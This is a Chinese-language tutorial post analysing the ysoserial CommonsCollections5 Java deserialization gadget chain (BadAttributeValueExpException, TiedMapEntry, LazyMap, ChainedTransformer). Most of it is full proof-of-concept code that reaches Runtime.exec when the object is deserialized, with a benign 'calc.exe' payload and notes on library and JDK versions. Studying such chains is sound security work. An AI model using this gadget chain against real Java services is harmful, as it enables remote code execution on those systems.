ysoserial CommonsColletions5分析

2022-10-15,

我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写。

所以要挖掘出一条能替代的类BadAttributeValueExpException

在CC5中除了有一个新的类BadAttributeValueExpException外,还有一个新的类TiedMapEntry,用来调用LazyMap的get方法

TiedMapEntry

在TiedMapEntry的getValue方法中调用了get方法

而map成员变量则是由构造函数传入

这里传入this.map=LazyMap后,调用getValue方法就可以触发调用链了。

而getValue方法是在toString中调用了。

BadAttributeValueExpException

直接查看readObject方法

第72行是获取val的值,赋值给valObj,在第86行时候,调用了valObj的toString方法

也就是调用TiedMapEntry的toString。

BadAttributeValueExpException、TiedMapEntry、LazyMap三条链互相调用

构造POC

前面和CC1一样,利用LazyMap来触发ChainedTransformer反射链

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
//创建一个HashMap
HashMap hashMap = new HashMap();
//传入chain
LazyMap lazymap = (LazyMap) LazyMap.decorate(hashMap, chain);

TiedMapEntry成员变量this.map利用构造方法赋值成LazyMap

TiedMapEntry entry = new TiedMapEntry(lazymap, "xxx");

BadAttributeValueExpException的val参数需要利用反射进行set值

BadAttributeValueExpException bad = new BadAttributeValueExpException(null); //参数无所谓
Field val = bad.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(bad,entry);

最终POC:

public class payload01 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
//创建一个HashMap
HashMap hashMap = new HashMap();
//传入chain
LazyMap lazymap = (LazyMap) LazyMap.decorate(hashMap, chain); TiedMapEntry entry = new TiedMapEntry(lazymap, "xxx"); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); //参数无所谓
Field val = bad.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(bad,entry); ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(bad);
oos.close(); System.out.println(barr);
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

我发现此payload只适用于CommonsCollections版本3.1-3.2.1,因为在4.0版本中,LazyMap取消了decorate方法构造对象,而是用的静态方法lazymap,所以要改动一下传入参数的方式就可以了

cc5在JDK1.7和1.8版本都测试可以使用

ysoserial CommonsColletions5分析的相关教程结束。

《ysoserial CommonsColletions5分析.doc》

下载本文的Word格式文档,以方便收藏与打印。